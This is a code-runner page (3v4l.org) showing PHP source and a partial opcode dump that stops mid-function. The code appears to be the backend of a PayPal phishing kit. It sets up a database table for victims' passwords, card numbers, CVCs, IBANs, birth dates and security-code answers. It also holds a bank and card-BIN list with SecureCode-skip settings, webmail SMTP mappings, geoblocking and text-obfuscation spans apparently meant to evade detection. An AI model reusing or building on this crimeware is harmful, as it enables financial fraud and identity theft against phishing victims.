3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); // Configuration $config = [ 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '', 'mysql' => [ 'hostname' => 'localhost', 'username' => 'root', 'password' => 'okmijnAwD1337', 'database' => 'paypal' ], 'bincodes' => [ 'enabled' => true, 'api_key' => '2d974e94811161f1dda14bbf63aa9790' ], // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25 'smtps' => [ 'web.de' => [ 'host' => 'smtp.web.de', 'port' => 587 ], 'aol.com' => [ 'host' => 'smtp.de.aol.com', 'port' => 587 ], 'aol.de' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'aim.com' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'arcor.de' => [ 'host' => 'mail.arcor.de', 'port' => 25 ], 'bluewin.ch' => [ 'host' => 'smtpauths.bluewin.ch', 'port' => 25 ], 'gmail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmail.de' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'googlemail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmx.de' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'gmx.net' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'outlook.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'hotmail.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'outlook.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'yahoo.de' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 'yahoo.com' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 't-online.de' => [ 'host' => 'securesmtp.t-online.de', 'port' => 25 ], 'unitybox.de' => [ 'host' => 'submit.unitybox.de', 'port' => 587 ], 'kabelbw.de' => [ 'host' => 'submit.kabelbw.de', 'port' => 587 ], 'one.com' => [ 'host' => 'send.one.com', 'port' => 587 ], 'freenet.de' => [ 'host' => 'mx.freenet.de', 'port' => 587 ] ], // Bins bei dem die SecureCode Abfrage übersprungen werden 'skipBins' => [ /* '457096', '548622', '548621' */ ], // Banken (Alles groß schreiben, da es bei Debian sonst nicht erkannt wird) 'banks' => [ 'santander' => [ 'SANTANDER CONSUMER BANK AG', 'SANTANDER DIREKT BANK AG', 'SANTANDER' ], 'vw' => [ 'VOLKSWAGEN BANK GMBH', 'VOLKSWAGEN' ], 'advanzia' => [ 'ADVANZIA BANK, S.A.', 'ADVANZIA' ], 'barclay' => [ 'BARCLAYS BANK PLC', 'BARCLAYCARD GERMANY', 'BARCLAY' ], 'airp' => [ 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH' ], 'dkb' => [ 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE', 'DEUTSCHE KREDITBANK' ], 'lbb' => [ 'LANDESBANK BERLIN AG' ], 'dzb' => [ 'DZ BANK AG', 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK' ], 'wgz' => [ 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK', 'WGZ' ], 'volksbank' => [ 'VOLKSBANK' ], 'spardabank' => [ 'SPARDABANK', 'SPARDA' ], 'postbank' => [ 'DEUTSCHE POSTBANK AG', 'POSTBANK BERLIN', 'POSTBANK' ], 'sparkasse' => [ 'DEUTSCHER SPARKASSEN - UND GIROVERBAND', 'SPARKASSE', 'SPARKASSEN', 'SPARKASSE SCHAUMBURG', 'SPARKASSE MAINZ', 'STADTSPARKASSE' ], 'random' => [ 'TARGOBANK AG AND CO. KGAA', 'CITIBANK AG', 'ING-DIBA AG', 'COMMERZBANK AG', 'MERCEDES-BENZ BANK AG', 'LANDESBANK BADEN-WUERTTEMBERG', 'COMDIRECT BANK AG', 'DEUTSCHE BANK AG', 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG', 'BAYERISCHE LANDESBANK GIROZENTRALE', 'BAYERISCHE LANDESBANK', 'SUEDDEUTSCHE BANK GMBH' ] ] ]; include('geoblocking.php'); if(!defined('CONTINUE_PDO')) { // MySQL Connection $pdo = new PDO( 'mysql:host=' . $config['mysql']['hostname'] . ';', $config['mysql']['username'], $config['mysql']['password'] ); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']); $pdo->query('use ' . $config['mysql']['database']); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'"); $pdo->exec('SET NAMES \'utf8\''); mb_internal_encoding('UTF-8'); $pdo->exec(' CREATE TABLE IF NOT EXISTS `admins` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\'); CREATE TABLE IF NOT EXISTS `logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `ip` varchar(255) DEFAULT NULL, `user_agent` text, `email` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, `method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\', `firstname` varchar(255) DEFAULT NULL, `surname` varchar(255) DEFAULT NULL, `dob_day` int(11) DEFAULT \'0\', `dob_month` int(11) DEFAULT \'0\', `dob_year` int(11) DEFAULT \'0\', `cc_number` varchar(255) DEFAULT NULL, `cc_expire_month` int(2) DEFAULT NULL, `cc_expire_year` int(4) DEFAULT NULL, `cc_cvc` int(4) DEFAULT NULL, `cc_bank` varchar(255) DEFAULT NULL, `cc_type` varchar(255) DEFAULT NULL, `cc_level` varchar(255) DEFAULT NULL, `cc_country` varchar(255) DEFAULT NULL, `cc_countrycode` varchar(255) DEFAULT NULL, `cc_card` varchar(255) DEFAULT NULL, `cc_limit` int(11) DEFAULT \'0\', `bank_iban` varchar(255) DEFAULT NULL, `bank_bic` varchar(255) DEFAULT NULL, `bank_name` varchar(255) DEFAULT NULL, `sc_1` varchar(255) DEFAULT NULL, `sc_2` varchar(255) DEFAULT NULL, `street` varchar(255) DEFAULT NULL, `city` varchar(255) DEFAULT NULL, `plz` int(5) DEFAULT NULL, `timestamp` varchar(255) DEFAULT \'123456789\', `mobilenr` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1; '); } // Classes class RandomHash { public static function init() { if(!isset($_SESSION['randomLetter'])) { $_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1); } } public static function generate($string = '') { return $_SESSION['randomLetter'] . sha1($string . sha1(session_id())); } public static function generateUselessKey() { return md5($_SESSION['randomLetter']); } public static function stringSplitUnicode($string, $l = 0) { if ($l > 0) { $result = []; $length = mb_strlen($string, 'UTF-8'); for ($i = 0; $i < $length; $i += $l) { $result[] = mb_substr($string, $i, $l, 'UTF-8'); } return $result; } return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY); } public static function generateUseless($string = '') { $result = ''; foreach(self::stringSplitUnicode($string) as $letter) { $result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>'; } return $result; } } RandomHash::init(); // Functions function generateToken() { if(version_compare(phpversion(), '7', '>=')) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } else if(function_exists('mcrypt_create_iv')) { $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); } else { $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); } return $_SESSION['csrf_token']; } function getToken() { if(!isset($_SESSION['csrf_token']) || empty($_SESSION['csrf_token'])) { generateToken(); } return $_SESSION['csrf_token']; } function getOB($bankName) { global $config; $bankName = strtoupper($bankName); foreach($config['banks'] as $obKey => $obNames) { foreach($obNames as $obName) { if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) { return strtolower($obKey); } } } return null; } function isLoggedIn() { global $pdo; if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) { $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); return $stmt->rowCount() > 0; } return false; } function getLogsCount() { global $pdo; $qry = $pdo->query('SELECT NULL FROM `logs`'); return $qry->rowCount(); } function getUserInfo($row, $filter = true) { global $pdo; if(isLoggedIn()) { $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); if($stmt->rowCount() > 0) { $obj = $stmt->fetch(PDO::FETCH_OBJ); return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row}; } } return ''; } function getIp() { $ip = $_SERVER['REMOTE_ADDR']; if(!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } return $ip; } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 67
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 67
filename:       /in/Q5nB8
function name:  (null)
number of ops:  70
compiled vars:  !0 = $config, !1 = $pdo
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'session_start'
          1        DO_ICALL                                                 
    6     2        FETCH_R                      global              ~3      '_SERVER'
          3        FETCH_DIM_R                                      ~4      ~3, 'HTTP_HOST'
          4        CONCAT                                           ~5      'http%3A%2F%2F', ~4
          5        CONCAT                                           ~6      ~5, ''
          6        INIT_ARRAY                                       ~7      ~6, 'url'
          7        ADD_ARRAY_ELEMENT                                ~7      <array>, 'mysql'
          8        ADD_ARRAY_ELEMENT                                ~7      <array>, 'bincodes'
          9        ADD_ARRAY_ELEMENT                                ~7      <array>, 'smtps'
         10        ADD_ARRAY_ELEMENT                                ~7      <array>, 'skipBins'
         11        ADD_ARRAY_ELEMENT                                ~7      <array>, 'banks'
    5    12        ASSIGN                                                   !0, ~7
  195    13        INCLUDE_OR_EVAL                                          'geoblocking.php', INCLUDE
  197    14        DEFINED                                          ~10     'CONTINUE_PDO'
         15        BOOL_NOT                                         ~11     ~10
         16      > JMPZ                                                     ~11, ->67
  199    17    >   NEW                                              $12     'PDO'
  200    18        FETCH_DIM_R                                      ~13     !0, 'mysql'
         19        FETCH_DIM_R                                      ~14     ~13, 'hostname'
         20        CONCAT                                           ~15     'mysql%3Ahost%3D', ~14
         21        CONCAT                                           ~16     ~15, '%3B'
         22        SEND_VAL_EX                                              ~16
         23        CHECK_FUNC_ARG                                           
  201    24        FETCH_DIM_FUNC_ARG                               $17     !0, 'mysql'
         25        FETCH_DIM_FUNC_ARG                               $18     $17, 'username'
         26        SEND_FUNC_ARG                                            $18
         27        CHECK_FUNC_ARG                                           
  202    28        FETCH_DIM_FUNC_ARG                               $19     !0, 'mysql'
         29        FETCH_DIM_FUNC_ARG                               $20     $19, 'password'
         30        SEND_FUNC_ARG                                            $20
         31        DO_FCALL                                      0          
  199    32        ASSIGN                                                   !1, $12
  205    33        INIT_METHOD_CALL                                         !1, 'setAttribute'
         34        SEND_VAL_EX                                              3
         35        SEND_VAL_EX                                              2
         36        DO_FCALL                                      0          
  207    37        INIT_METHOD_CALL                                         !1, 'query'
         38        FETCH_DIM_R                                      ~24     !0, 'mysql'
         39        FETCH_DIM_R                                      ~25     ~24, 'database'
         40        CONCAT                                           ~26     'CREATE+DATABASE+IF+NOT+EXISTS+', ~25
         41        SEND_VAL_EX                                              ~26
         42        DO_FCALL                                      0          
  208    43        INIT_METHOD_CALL                                         !1, 'query'
         44        FETCH_DIM_R                                      ~28     !0, 'mysql'
         45        FETCH_DIM_R                                      ~29     ~28, 'database'
         46        CONCAT                                           ~30     'use+', ~29
         47        SEND_VAL_EX                                              ~30
         48        DO_FCALL                                      0          
  210    49        INIT_METHOD_CALL                                         !1, 'setAttribute'
         50        SEND_VAL_EX                                              20
         51        SEND_VAL_EX                                              <false>
         52        DO_FCALL                                      0          
  211    53        INIT_METHOD_CALL                                         !1, 'setAttribute'
         54        FETCH_CLASS_CONSTANT                             ~33     'PDO', 'MYSQL_ATTR_INIT_COMMAND'
         55        SEND_VAL_EX                                              ~33
         56        SEND_VAL_EX                                              'SET+NAMES+%27utf8%27+COLLATE+%27utf8_general_ci%27'
         57        DO_FCALL                                      0          
  212    58        INIT_METHOD_CALL                                         !1, 'exec'
         59        SEND_VAL_EX                                              'SET+NAMES+%27utf8%27'
         60        DO_FCALL                                      0          
  213    61        INIT_FCALL                                               'mb_internal_encoding'
         62        SEND_VAL                                                 'UTF-8'
         63        DO_ICALL                                                 
  215    64        INIT_METHOD_CALL                                         !1, 'exec'
         65        SEND_VAL_EX                                              '%0A%09%09%09CREATE+TABLE+IF+NOT+EXISTS+%60admins%60+%28%0A%09%09%09++%60id%60+int%2811%29+NOT+NULL+AUTO_INCREMENT%2C%0A%09%09%09++%60username%60+varchar%28255%29+NOT+NULL%2C%0A%09%09%09++%60password%60+varchar%28255%29+NOT+NULL%2C%0A%09%09%09++PRIMARY+KEY+%28%60id%60%29%0A%09%09%09%29+ENGINE%3DInnoDB+AUTO_INCREMENT%3D2+DEFAULT+CHARSET%3Dlatin1%3B%0A%0A%09%09%09INSERT+IGNORE+INTO+%60admins%60+VALUES+%28%271%27%2C+%27Admin%27%2C+%27123456%27%29%3B%0A%0A%09%09%09CREATE+TABLE+IF+NOT+EXISTS+%60logs%60+%28%0A%09%09%09++%60id%60+int%2811%29+NOT+NULL+AUTO_INCREMENT%2C%0A%09%09%09++%60ip%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60user_agent%60+text%2C%0A%09%09%09++%60email%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60password%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60method%60+enum%28%27creditcard%27%2C%27bank%27%2C%27none%27%29+DEFAULT+%27none%27%2C%0A%09%09%09++%60firstname%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60surname%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60dob_day%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60dob_month%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60dob_year%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60cc_number%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_expire_month%60+int%282%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_expire_year%60+int%284%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_cvc%60+int%284%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_bank%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_type%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_level%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_country%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_countrycode%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_card%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_limit%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60bank_iban%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60bank_bic%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60bank_name%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60sc_1%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60sc_2%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60street%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60city%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60plz%60+int%285%29+DEFAULT+NULL%2C%0A%09%09%09++%60timestamp%60+varchar%28255%29+DEFAULT+%27123456789%27%2C%0A%09%09%09++%60mobilenr%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++PRIMARY+KEY+%28%60id%60%29%0A%09%09%09%29+ENGINE%3DInnoDB+AUTO_INCREMENT%3D1+DEFAULT+CHARSET%3Dlatin1%3B%0A%09%09'
         66        DO_FCALL                                      0          
  305    67    >   INIT_STATIC_METHOD_CALL                                  'RandomHash', 'init'
         68        DO_FCALL                                      0          
  393    69      > RETURN                                                   1

Function generatetoken:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 18
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 43
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 34
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 43
Branch analysis from position: 43
Branch analysis from position: 34
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Q5nB8
function name:  generateToken
number of ops:  47
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  309     0  E >   INIT_FCALL                                               'version_compare'
          1        INIT_FCALL                                               'phpversion'
          2        DO_ICALL                                         $0      
          3        SEND_VAR                                                 $0
          4        SEND_VAL                                                 '7'
          5        SEND_VAL                                                 '%3E%3D'
          6        DO_ICALL                                         $1      
          7      > JMPZ                                                     $1, ->18
  310     8    >   INIT_FCALL                                               'bin2hex'
          9        INIT_FCALL                                               'random_bytes'
         10        SEND_VAL                                                 32
         11        DO_ICALL                                         $4      
         12        SEND_VAR                                                 $4
         13        DO_ICALL                                         $5      
         14        FETCH_W                      global              $2      '_SESSION'
         15        ASSIGN_DIM                                               $2, 'csrf_token'
         16        OP_DATA                                                  $5
         17      > JMP                                                      ->43
  311    18    >   INIT_FCALL                                               'function_exists'
         19        SEND_VAL                                                 'mcrypt_create_iv'
         20        DO_ICALL                                         $6      
         21      > JMPZ                                                     $6, ->34
  312    22    >   INIT_FCALL                                               'bin2hex'
         23        INIT_FCALL_BY_NAME                                       'mcrypt_create_iv'
         24        SEND_VAL_EX                                              32
         25        FETCH_CONSTANT                                   ~9      'MCRYPT_DEV_URANDOM'
         26        SEND_VAL_EX                                              ~9
         27        DO_FCALL                                      0  $10     
         28        SEND_VAR                                                 $10
         29        DO_ICALL                                         $11     
         30        FETCH_W                      global              $7      '_SESSION'
         31        ASSIGN_DIM                                               $7, 'csrf_token'
         32        OP_DATA                                                  $11
         33      > JMP                                                      ->43
  314    34    >   INIT_FCALL                                               'bin2hex'
         35        INIT_FCALL_BY_NAME                                       'openssl_random_pseudo_bytes'
         36        SEND_VAL_EX                                              32
         37        DO_FCALL                                      0  $14     
         38        SEND_VAR                                                 $14
         39        DO_ICALL                                         $15     
         40        FETCH_W                      global              $12     '_SESSION'
         41        ASSIGN_DIM                                               $12, 'csrf_token'
         42        OP_DATA                                                  $15
  317    43    >   FETCH_R                      global              ~16     '_SESSION'
         44        FETCH_DIM_R                                      ~17     ~16, 'csrf_token'
         45      > RETURN                                                   ~17
  318    46*     > RETURN                                                   null

End of function generatetoken

Function gettoken:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 4, Position 2 = 7
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 10
Branch analysis from position: 8
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
Branch analysis from position: 7
filename:       /in/Q5nB8
function name:  getToken
number of ops:  14
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  321     0  E >   FETCH_IS                                         ~0      '_SESSION'
          1        ISSET_ISEMPTY_DIM_OBJ                         0  ~1      ~0, 'csrf_token'
          2        BOOL_NOT                                         ~2      ~1
          3      > JMPNZ_EX                                         ~2      ~2, ->7
          4    >   FETCH_IS                                         ~3      '_SESSION'
          5        ISSET_ISEMPTY_DIM_OBJ                         1  ~4      ~3, 'csrf_token'
          6        BOOL                                             ~2      ~4
          7    > > JMPZ                                                     ~2, ->10
  322     8    >   INIT_FCALL                                               'generatetoken'
          9        DO_FCALL                                      0          
  325    10    >   FETCH_R                      global              ~6      '_SESSION'
         11        FETCH_DIM_R                                      ~7      ~6, 'csrf_token'
         12      > RETURN                                                   ~7
  326    13*     > RETURN                                                   null

End of function gettoken

Function getob:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 8, Position 2 = 59
Branch analysis from position: 8
2 jumps found. (Code = 78) Position 1 = 9, Position 2 = 59
Branch analysis from position: 9
2 jumps found. (Code = 77) Position 1 = 11, Position 2 = 57
Branch analysis from position: 11
2 jumps found. (Code = 78) Position 1 = 12, Position 2 = 57
Branch analysis from position: 12
2 jumps found. (Code = 47) Position 1 = 17, Position 2 = 26
Branch analysis from position: 17
2 jumps found. (Code = 47) Position 1 = 27, Position 2 = 49
Branch analysis from position: 27
2 jumps found. (Code = 46) Position 1 = 34, Position 2 = 48
Branch analysis from position: 34
2 jumps found. (Code = 43) Position 1 = 50, Position 2 = 56
Branch analysis from position: 50
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 56
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
Branch analysis from position: 48
Branch analysis from position: 49
Branch analysis from position: 26
Branch analysis from position: 57
1 jumps found. (Code = 42) Position 1 = 8
Branch analysis from position: 8
Branch analysis from position: 57
Branch analysis from position: 59
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 59
filename:       /in/Q5nB8
function name:  getOB
number of ops:  62
compiled vars:  !0 = $bankName, !1 = $config, !2 = $obNames, !3 = $obKey, !4 = $obName
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  328     0  E >   RECV                                             !0      
  329     1        BIND_GLOBAL                                              !1, 'config'
  331     2        INIT_FCALL                                               'strtoupper'
          3        SEND_VAR                                                 !0
          4        DO_ICALL                                         $5      
          5        ASSIGN                                                   !0, $5
  332     6        FETCH_DIM_R                                      ~7      !1, 'banks'
          7      > FE_RESET_R                                       $8      ~7, ->59
          8    > > FE_FETCH_R                                       ~9      $8, !2, ->59
          9    >   ASSIGN                                                   !3, ~9
  333    10      > FE_RESET_R                                       $11     !2, ->57
         11    > > FE_FETCH_R                                               $11, !4, ->57
  334    12    >   INIT_FCALL                                               'strtoupper'
         13        SEND_VAR                                                 !4
         14        DO_ICALL                                         $12     
         15        IS_EQUAL                                         ~13     !0, $12
         16      > JMPNZ_EX                                         ~13     ~13, ->26
         17    >   INIT_FCALL                                               'strpos'
         18        INIT_FCALL                                               'strtoupper'
         19        SEND_VAR                                                 !4
         20        DO_ICALL                                         $14     
         21        SEND_VAR                                                 $14
         22        SEND_VAR                                                 !0
         23        DO_ICALL                                         $15     
         24        TYPE_CHECK                                  1018  ~16     $15
         25        BOOL                                             ~13     ~16
         26    > > JMPNZ_EX                                         ~13     ~13, ->49
         27    >   INIT_FCALL                                               'explode'
         28        SEND_VAL                                                 '+'
         29        SEND_VAR                                                 !0
         30        DO_ICALL                                         $17     
         31        COUNT                                            ~18     $17
         32        IS_SMALLER                                       ~19     0, ~18
         33      > JMPZ_EX                                          ~19     ~19, ->48
         34    >   INIT_FCALL                                               'strpos'
         35        INIT_FCALL                                               'strtoupper'
         36        SEND_VAR                                                 !4
         37        DO_ICALL                                         $20     
         38        SEND_VAR                                                 $20
         39        INIT_FCALL                                               'explode'
         40        SEND_VAL                                                 '+'
         41        SEND_VAR                                                 !0
         42        DO_ICALL                                         $21     
         43        FETCH_DIM_R                                      ~22     $21, 0
         44        SEND_VAL                                                 ~22
         45        DO_ICALL                                         $23     
         46        TYPE_CHECK                                  1018  ~24     $23
         47        BOOL                                             ~19     ~24
         48    >   BOOL                                             ~13     ~19
         49    > > JMPZ                                                     ~13, ->56
  335    50    >   INIT_FCALL                                               'strtolower'
         51        SEND_VAR                                                 !3
         52        DO_ICALL                                         $25     
         53        FE_FREE                                                  $11
         54        FE_FREE                                                  $8
         55      > RETURN                                                   $25
  333    56    > > JMP                                                      ->11
         57    >   FE_FREE                                                  $11
  332    58      > JMP                                                      ->8
         59    >   FE_FREE                                                  $8
  340    60      > RETURN                                                   null
  341    61*     > RETURN                                                   null

End of function getob

Function isloggedin:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 4, Position 2 = 7
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 25
Branch analysis from position: 8
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
filename:       /in/Q5nB8
function name:  isLoggedIn
number of ops:  27
compiled vars:  !0 = $pdo, !1 = $stmt
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  344     0  E >   BIND_GLOBAL                                              !0, 'pdo'
  346     1        FETCH_IS                                         ~2      '_SESSION'
          2        ISSET_ISEMPTY_DIM_OBJ                         0  ~3      ~2, 'acp_username'
          3      > JMPZ_EX                                          ~3      ~3, ->7
          4    >   FETCH_IS                                         ~4      '_SESSION'
          5        ISSET_ISEMPTY_DIM_OBJ                         0  ~5      ~4, 'acp_password'
          6        BOOL                                             ~3      ~5
          7    > > JMPZ                                                     ~3, ->25
  347     8    >   INIT_METHOD_CALL                                         !0, 'prepare'
          9        SEND_VAL_EX                                              'SELECT+NULL+FROM+%60admins%60+WHERE+%60username%60+%3D+%3F+AND+%60password%60+%3D+%3F+LIMIT+1'
         10        DO_FCALL                                      0  $6      
         11        ASSIGN                                                   !1, $6
  348    12        INIT_METHOD_CALL                                         !1, 'execute'
         13        FETCH_R                      global              ~8      '_SESSION'
         14        FETCH_DIM_R                                      ~9      ~8, 'acp_username'
         15        INIT_ARRAY                                       ~10     ~9
         16        FETCH_R                      global              ~11     '_SESSION'
         17        FETCH_DIM_R                                      ~12     ~11, 'acp_password'
         18        ADD_ARRAY_ELEMENT                                ~10     ~12
         19        SEND_VAL_EX                                              ~10
         20        DO_FCALL                                      0          
  350    21        INIT_METHOD_CALL                                         !1, 'rowCount'
         22        DO_FCALL                                      0  $14     
         23        IS_SMALLER                                       ~15     0, $14
         24      > RETURN                                                   ~15
  353    25    > > RETURN                                                   <false>
  354    26*     > RETURN                                                   null

End of function isloggedin

Function getlogscount:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Q5nB8
function name:  getLogsCount
number of ops:  9
compiled vars:  !0 = $pdo, !1 = $qry
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  357     0  E >   BIND_GLOBAL                                              !0, 'pdo'
  359     1        INIT_METHOD_CALL                                         !0, 'query'
          2        SEND_VAL_EX                                              'SELECT+NULL+FROM+%60logs%60'
          3        DO_FCALL                                      0  $2      
          4        ASSIGN                                                   !1, $2
  361     5        INIT_METHOD_CALL                                         !1, 'rowCount'
          6        DO_FCALL                                      0  $4      
          7      > RETURN                                                   $4
  362     8*     > RETURN                                                   null

End of function getlogscount

Function getuserinfo:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 39
Branch analysis from position: 6
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 39
Branch analysis from position: 25
2 jumps found. (Code = 43) Position 1 = 30, Position 2 = 36
Branch analysis from position: 30
1 jumps found. (Code = 42) Position 1 = 38
Branch analysis from position: 38
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 36
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 39
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 39
filename:       /in/Q5nB8
function name:  getUserInfo
number of ops:  41
compiled vars:  !0 = $row, !1 = $filter, !2 = $pdo, !3 = $stmt, !4 = $obj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  364     0  E >   RECV                                             !0      
          1        RECV_INIT                                        !1      <true>
  365     2        BIND_GLOBAL                                              !2, 'pdo'
  367     3        INIT_FCALL                                               'isloggedin'
          4        DO_FCALL                                      0  $5      
          5      > JMPZ                                                     $5, ->39
  368     6    >   INIT_METHOD_CALL                                         !2, 'prepare'
          7        CONCAT                                           ~6      'SELECT+%60', !0
          8        CONCAT                                           ~7      ~6, '%60+FROM+%60admins%60+WHERE+%60username%60+%3D+%3F+AND+%60password%60+%3D+%3F+LIMIT+1'
          9        SEND_VAL_EX                                              ~7
         10        DO_FCALL                                      0  $8      
         11        ASSIGN                                                   !3, $8
  369    12        INIT_METHOD_CALL                                         !3, 'execute'
